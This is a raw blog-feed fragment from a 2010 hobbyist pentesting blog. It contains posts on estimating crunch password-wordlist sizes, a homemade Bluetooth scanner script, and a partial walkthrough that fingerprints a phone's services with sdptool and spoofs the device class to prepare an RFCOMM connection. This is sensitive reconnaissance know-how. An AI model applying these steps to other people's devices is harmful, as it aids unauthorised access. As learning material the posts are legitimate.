bc&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bc-konsole.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="146" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bc-konsole.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Or we can even just type it in google; &lt;span style="color: lime;"&gt;(16^8)*(8+1)&lt;/span&gt;&lt;br /&gt;and it will return the same result ;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/google-calc.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="280" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/google-calc.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Next we can check the conversions of the resulting size in KB / MB / GB etc. ;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/byte-conv.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/byte-conv.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;thats quite a lot...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I put together a (very!) simple script in order to be able to quickly check what kind of size one&lt;br /&gt;is looking at when thinking of creating a wordlist with the same min/max length in crunch;&lt;br /&gt;&lt;div style="color: yellow;"&gt;crunch_size&lt;/div&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;b&gt;DOWNLOAD&lt;/b&gt;&lt;/div&gt;&lt;a href="http://www.mediafire.com/file/dmh989dhmebch43/crunch_size-v0.2"&gt;http://www.mediafire.com/file/dmh989dhmebch43/crunch_size-v0.2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After saving to your &lt;span style="color: lime;"&gt;/root/&lt;/span&gt; directory for instance, just run by entering ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch_size-v0.2&lt;/div&gt;&lt;br /&gt;You need to enter ;&lt;br /&gt;&amp;gt; the number of characters to be used when creating the wordlist. (using the above example; &lt;span style="color: red;"&gt;16&lt;/span&gt;)&lt;br /&gt;&amp;gt; the length of the words/passphrases in the wordlist. (using the above example; &lt;span style="color: red;"&gt;8&lt;/span&gt;)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_size1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_size1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You cant choose to check what the results would be with any fixed patterns, or variables, (have to leave the hard stuff like that to the pro's !) but it is still an eye-opener to see the sizes involved with a 'simple' wordlist.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The result will show you the expected number of words/passphrases in the wordlist along with the estimated&lt;br /&gt;file size in bytes / Kilobytes / Megabytes / Gigabytes / Terabytes / Petabytes&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_size2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_size2.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Just a bit of fun and possibly handy to have in your crunch directory for reference ;)&lt;br /&gt;&lt;br /&gt;Please comment if I messed up on the calculations anywhere..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-3971447210189414388?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/3971447210189414388/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2010/09/wordlist-sizes.html#comment-form' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/3971447210189414388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/3971447210189414388'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2010/09/wordlist-sizes.html' title='Wordlist Sizes'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-5369639908697905685</id><published>2010-09-19T12:54:00.021+02:00</published><updated>2011-02-02T14:32:33.822+01:00</updated><title type='text'>Bluetooth mayhem -- part III -- bluejay</title><content type='html'>&lt;div style="color: red;"&gt;&lt;i&gt;UPDATE&lt;/i&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;i&gt;=======&lt;/i&gt;&lt;/div&gt;Uploaded a revision to bluejay bluetooth scanner; &lt;br /&gt;&lt;span style="color: red;"&gt;Download link below&lt;/span&gt;&lt;br /&gt;&lt;div style="color: blue;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-v03.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-v03.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="color: red;"&gt;VIDEO &lt;/b&gt;of an update again ;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blip.tv/file/4240113"&gt;http://blip.tv/file/4240113&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;File download;&lt;br /&gt;&lt;a href="http://www.mediafire.com/file/6eacv5yez0eyv2z/bluejay"&gt;http://www.mediafire.com/file/6eacv5yez0eyv2z/bluejay&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Regrettably, the mayhem I was able to enjoy with bluetooth has basically been limited to scanning..&lt;br /&gt;&lt;br /&gt;All in all a rather disappointing outcome after quite a bit of time spent trying to get somewhere.&lt;br /&gt;&lt;br /&gt;I have tried to get the famous bluebugger &amp;amp; bluesnarfer to work, however the phones I have to test on do not seem to be vulnerable to the standard attacks and the tools do not seem to be well suited to Backtrack 4 without some serious tweaking.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The bluetooth headsets I got don't seem to show up on any of the scans I do, so I couldn't even test carwhisper either.&lt;br /&gt;Bummer...&lt;br /&gt;Am going to continue to pick up cheapo headsets though as I would love to at least get &lt;i&gt;something&lt;/i&gt; working...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There is a serious lack of information on using bluetooth tools with backtrack 4 and I had hoped to be able to contribute to getting some more information out there, however for the time being I have to admit defeat on this one...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The plus side of things is that it motivated me to write my own bluetooth scanner :D&lt;br /&gt;&lt;br /&gt;Considering that tools like ghettotooth are still included in backtrack 4, I saw no harm in making something similar, may even propose for it to be included if I am feeling cocky...  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So after a lot of trial and error and a hell of a lot of google, my first bash script ;&amp;nbsp; &lt;b&gt;&lt;span style="color: #0b5394;"&gt;bluejay&lt;span style="color: yellow;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Hopefully someone finds it fun to use, I had a lot of fun (along with frustration...) writing it.&lt;br /&gt;Although I am&amp;nbsp; sure many looking at the code will probably sh1t themselves laughing, its my first attempt at any bash scripting with a bit of scavenging from teh interwebz... so hey&amp;nbsp; ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;bluejay was written with backtrack 4 in mind, and is untested on any other platform.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: yellow;"&gt;INSTALLATION &amp;amp; RUNNING&lt;/span&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;(based on using Backtrack 4)&lt;/div&gt;&lt;div style="color: yellow;"&gt;=========================&lt;/div&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;br /&gt;1. Download file from below link to a location of your choice (for instance &lt;span style="color: lime;"&gt;/root/&lt;/span&gt; ).&lt;br /&gt;&lt;u&gt;&lt;b&gt;Download link ;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;See download link for bluejay v0.3 at top of page.&lt;br /&gt;&lt;br /&gt;2. Make a directory called "bluejay" in /pentest/bluetooth/;&lt;br /&gt;&lt;div style="color: lime;"&gt;mkdir /pentest/bluetooth/bluejay&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;u&gt;&lt;i&gt;&lt;/i&gt;&lt;/u&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;u&gt;&lt;i&gt;Note!&lt;/i&gt;&lt;/u&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;Creating the directory &lt;span style="color: lime;"&gt;/pentest/bluetooth/bluejay/&lt;/span&gt; is required as bluejay puts temp files in that location.&lt;/div&gt;&lt;i&gt;(Latest version of bluejay will ask if you want to and create directory automatically if you choose to continue)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;3. Copy or move the file into the created directory;&lt;br /&gt;&lt;span style="color: lime;"&gt;mv /root/bluejay /pentest/bluetooth/bluejay/bluejay&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;4. If you can't run bluejay, you may have to change file permissions ;&lt;br /&gt;&lt;span style="color: lime;"&gt;chmod 755 /pentest/bluetooth/bluejay/bluejay&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;5. Then run it ! ;&lt;br /&gt;&lt;div style="color: lime;"&gt;cd /pentest/bluetooth/bluejay/&lt;/div&gt;&lt;div style="color: lime;"&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;./bluejay -h&amp;nbsp;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;HELP INFORMATION&lt;/div&gt;&lt;span style="color: yellow;"&gt;================== &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./bluejay -h&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-h.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-h.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;LISTING AVAILABLE INTERFACES&lt;/div&gt;&lt;span style="color: yellow;"&gt;============================ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;span style="color: lime;"&gt;./bluejay -d&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&lt;/span&gt;Result of listing devices when only 1 bluetooth interface present ; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-d-single.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-d-single.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Result of listing devices when multiple bluetooth interfaces are installed ;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-d-m.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-d-m.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;SINGLE SCANS&lt;/div&gt;&lt;div style="color: yellow;"&gt;=============&lt;/div&gt;&lt;br /&gt;With only 1 bluetooth interface installed, bluejay automatically chooses this interface,&lt;br /&gt;usually hci0, and starts the scan ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;./bluejay -s&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-s-single.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-s-single.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When starting a single scan with multiple interfaces installed, bluejay will prompt for an interface to&lt;br /&gt;be entered ; &lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./bluejay -s&lt;br /&gt;&amp;nbsp;hci2&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-s-m.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-s-m.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;CONTINUOUS SCANS&lt;/div&gt;&lt;span style="color: yellow;"&gt;==================&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;With only 1 bluetooth interface installed, bluejay will automatically take the first one it finds,&lt;br /&gt;usually hci0, and start the scan.&lt;br /&gt;When quitting with Ctrl C, bluejay then prompts whether to save the scan results to log or not (y/n) &lt;br /&gt;&lt;br /&gt;If choosing not to save, number of found devices is printed to screen and program exits.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./bluetooth -c&lt;/div&gt;(followed by &lt;span style="color: lime;"&gt;Ctrl C&lt;/span&gt;&amp;nbsp; and "&lt;span style="color: lime;"&gt;n&lt;/span&gt;"&amp;nbsp; to &lt;u&gt;not &lt;/u&gt;save results to log)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-c-single-n.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-c-single-n.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you choose to save the scan results, then bluejay will print the number of devices discovered on screen and&lt;br /&gt;save the results to a logfile in /pentest/bluetooth/bluejay/ &lt;br /&gt;&lt;br /&gt;Saving the scan results to log ;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-c-single-y.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-c-single-y.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When starting continuous scans with multiple bluetooth interfaces installed,&lt;br /&gt;bluejay will prompt you to enter the bluetooth interface you want to scan with. &lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;./bluejay -c&lt;/span&gt;&lt;br /&gt;followed by entering interface &lt;span style="color: lime;"&gt;hci1&lt;/span&gt; in this case&lt;br /&gt;then Quitting with &lt;span style="color: lime;"&gt;Ctrl C&lt;/span&gt; and choosing &lt;u&gt;not &lt;/u&gt;to save scan results "&lt;span style="color: lime;"&gt;n&lt;/span&gt;" &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-c-m.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="355" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-c-m.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I am lazy and got fed up with the typing in of the interface names..&lt;br /&gt;So if you just hit Enter where you are prompted to enter the interface to scan with, bluejay will&lt;br /&gt;automatically choose the first interface it finds (usually hci0) and start scanning with that.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./bluejay -c&lt;/div&gt;&lt;span style="color: lime;"&gt;Enter&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&lt;/span&gt;Quit with &lt;span style="color: lime;"&gt;Ctrl C&lt;/span&gt; and "&lt;span style="color: lime;"&gt;n&lt;/span&gt;" to &lt;u&gt;not &lt;/u&gt;save the scan results.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-c-m-1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/bluejay-c-m-1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Le Voilà !!&lt;br /&gt;The logging side of things is regretfully far from perfect;&lt;br /&gt;If clock offset changes, or if name is cached then the BDADDR will show up more than once in the log.&lt;br /&gt;Am working on a revision v0.3 which will hopefully sort a few things out. It was still a fun project though ;)&lt;br /&gt;&lt;br /&gt;I am sure there are loads of ways to make it smoother and quicker, comments with advice and on errors&lt;br /&gt;encountered when using it are appreciated.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Despite the fact that I have more or less given up hope on been able to have the same amount of fun with&lt;br /&gt;bluetooth as can be had with wireless, it is an interesting area to look at and I would appreciate any comments&lt;br /&gt;which may assist with bluetooth hacking.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-5369639908697905685?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/5369639908697905685/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2010/09/bluetooth-mayhem-part-iii.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/5369639908697905685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/5369639908697905685'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2010/09/bluetooth-mayhem-part-iii.html' title='Bluetooth mayhem -- part III -- bluejay'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-657806260993952004</id><published>2010-09-08T23:27:00.005+02:00</published><updated>2010-09-09T13:13:17.370+02:00</updated><title type='text'>Bluetooth mayhem -- part II</title><content type='html'>In the previous post all kinds of methods have been shown to get hold of the all-important bdaddr or MAC address of the bluetooth devices, so here I am assuming that you have, or know how to obtain, the bdaddr of your test device.&lt;br /&gt;&lt;br /&gt;After all the scanning is complete and I have found my test subject... what next ?&lt;br /&gt;Well, as always, get more information !&lt;br /&gt;&lt;br /&gt;We can get further information on the device's services and channels by fingerprinting with sdptool;&lt;br /&gt;&lt;div style="color: lime;"&gt;sdptool -i hci0 browse 6C:9B:02:FF:97:2F&lt;/div&gt;Hectic amount of output there... so what do we actually need ?&lt;br /&gt;From what I have read, we want to get the Service Name, the Service RecHandle and the Channel.&lt;br /&gt;&lt;br /&gt;So to simplify the output to get what we want, I will use grep -e (egrep) to make it a little more readable ;&lt;br /&gt;&lt;div style="color: lime;"&gt;sdptool -i hci0 browse 6C:9B:02:FF:97:2F | egrep 'Service Name|Service RecHandle|Channel'&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot07-1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot07-1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So at this stage we have the bdaddr of the test device and a list of services and channels which we will use when we prepare for a connection.&lt;br /&gt;&lt;br /&gt;Next step is preparing a connection with the device, but first some more preparation;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #38761d;"&gt;Editing main.conf&lt;/div&gt;&lt;div style="color: black;"&gt;&lt;span style="color: #38761d;"&gt;===============&lt;/span&gt;=&lt;/div&gt;&lt;span style="color: lime;"&gt;nano /etc/bluetooth/main.conf&lt;/span&gt;&lt;br /&gt;Edit the line under &lt;b&gt;Default device class&lt;/b&gt; to the class you want, in this case I am doing cell phone.&lt;br /&gt;&lt;div style="color: yellow;"&gt;Class = 0x500204&lt;/div&gt;No need to edit anything else.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/main-conf.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/main-conf.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #38761d;"&gt;Editing rfcomm.conf&lt;br /&gt;================== &lt;/div&gt;&lt;div style="color: lime;"&gt;nano /etc/bluetooth/rfcomm.conf&lt;/div&gt;&lt;br /&gt;Edit the rfcomm.conf; enable binding, enter bdaddr of the device you want to connect to, enter channel number of the service you want to access, enter the name of the connection.&lt;br /&gt;Delete the hashes where necessary in the original rfcomm.conf file and finally the file should look something&lt;br /&gt;like the below; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/rfcomm-conf.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/rfcomm-conf.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #38761d;"&gt;&lt;/div&gt;&lt;div style="color: #38761d;"&gt;Editing file permissions&lt;/div&gt;&lt;div style="color: 